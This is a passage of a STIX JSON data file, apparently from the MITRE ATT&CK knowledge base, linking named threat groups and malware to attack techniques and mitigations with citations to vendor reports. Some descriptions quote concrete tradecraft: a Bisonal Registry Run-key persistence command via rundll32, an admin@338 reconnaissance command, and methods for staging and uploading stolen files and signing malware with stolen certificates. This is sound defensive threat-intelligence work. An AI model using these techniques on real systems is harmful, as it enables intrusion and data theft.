"US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.", + "source_name": "Core Security Impacket", + "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b3d63cea-ad1c-47a5-b9e5-09920bae0537", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.", + "source_name": "Check Point Rocket Kitten", + "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can gather network share information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e1d0ec8e-0970-4737-9605-1cf8a3ba1371", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1c99209f-c152-4cc5-aa66-63b8637eaa47", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.115Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Naid](https://attack.mitre.org/software/S0205) collects a unique identifier (UID) from a compromised host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--70e81cc7-9dd6-4349-b7ab-212a46591cff", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2305a634-b226-4da2-a766-bec5458f9447", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.376Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) stores itself in ~/Library/.DS_Stores/", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--87e853bb-a82f-4a8c-a43a-e7da05f43619", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.", + "source_name": "alientvault macspy", + "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917", + "source_ref": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2", + "modified": "2019-08-12T19:54:54.256Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--87b8b451-bf9b-4e93-b591-05ef502970f5", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--701a2767-70f3-44f1-a397-9c04517ece67", + "source_ref": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "modified": "2019-09-03T16:12:27.912Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) can list all files on a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5f4c8795-68b6-4935-beb4-adde242f44f6", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--67f2ca97-5949-4503-a55c-1f0d3f3502ca", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Turla](https://attack.mitre.org/groups/G0010) attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d42b9304-293a-4b95-a946-dcda81be5c87", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.726Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "source_name": "Kroll RawPOS Jan 2017", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "source_name": "TrendMicro RawPOS April 2015", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--285ab221-15cf-4215-aa68-a8e74b635633", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.772Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "The \"tDiscoverer\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. [HAMMERTOSS](https://attack.mitre.org/software/S0037) binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c7420523-7dc0-4118-a075-93f9c0268627", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "modified": "2019-10-11T19:07:42.366Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye APT29", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\u201dvert\u201d = \u201crundll32.exe c:\\windows\\temp\\pvcu.dll , Qszdez\u201d.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9088b52e-8e07-4fd4-ac80-66df7f877adf", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Briba](https://attack.mitre.org/software/S0204) creates run key Registry entries pointing to malicious DLLs dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7ae71a39-4f64-4d64-ad3f-885ae7a5c613", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--8d7c04bb-ed5b-4339-a115-62089ea6711b", + "source_ref": "course-of-action--797312d4-8a84-4daf-9c56-57da4133c322", + "modified": "2019-10-11T15:20:53.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing screen captures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c784f835-5d15-4fc6-a7ad-88d1a9050159", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--4c2b4c0f-0ded-4f0f-ad5a-a95241ba927e", + "source_ref": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb", + "modified": "2019-07-25T11:17:52.146Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has used RAR to compress files before moving them outside of the victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.036Z", + "id": "relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to list local groups: net localgroup administrator >> %temp%\\download", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.580Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has a tool called CANDYKING to capture a screenshot of user's desktop.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--45cd89d8-68fd-42a2-94ba-7796a696bc47", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used code-signing certificates on its malware that are either forged due to weak keys or stolen. [Darkhotel](https://attack.mitre.org/groups/G0012) has also stolen certificates and signed backdoors and downloaders with them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--b69424ec-3af6-44aa-842a-81fba219b9f4", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:51.954Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + }, + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used sticky-keys to obtain unauthenticated, privileged console access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--e65112dc-8a58-486f-9f3b-5a84925a3e53", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.096Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + }, + { + "source_name": "FireEye APT29 Domain Fronting", + "description": "Dunwoody, M. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved March 27, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.058Z", + "id": "relationship--1c812537-dfaf-40da-a71b-a49c18870b77", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.688Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--f132ff40-9e9d-49b8-a47d-832a21e1e56d", + "source_ref": "course-of-action--e0703d4f-3972-424a-8277-84004817e024", + "modified": "2019-07-25T11:23:00.930Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--8ff745b7-9985-4781-a8bc-dae6d71233d3", + "source_ref": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d", + "modified": "2019-07-24T19:29:02.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) is capable of taking screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--147d2e66-25de-42ea-8592-eb51333f595c", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.596Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--68936ca4-6cf3-4b81-b1e8-17c28c2fb9ef", + "source_ref": "course-of-action--dbf0186e-722d-4a0a-af6a-b3460f162f84", + "modified": "2019-07-25T12:02:49.012Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) VBA Macro sets its file attributes to System and Hidden.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": 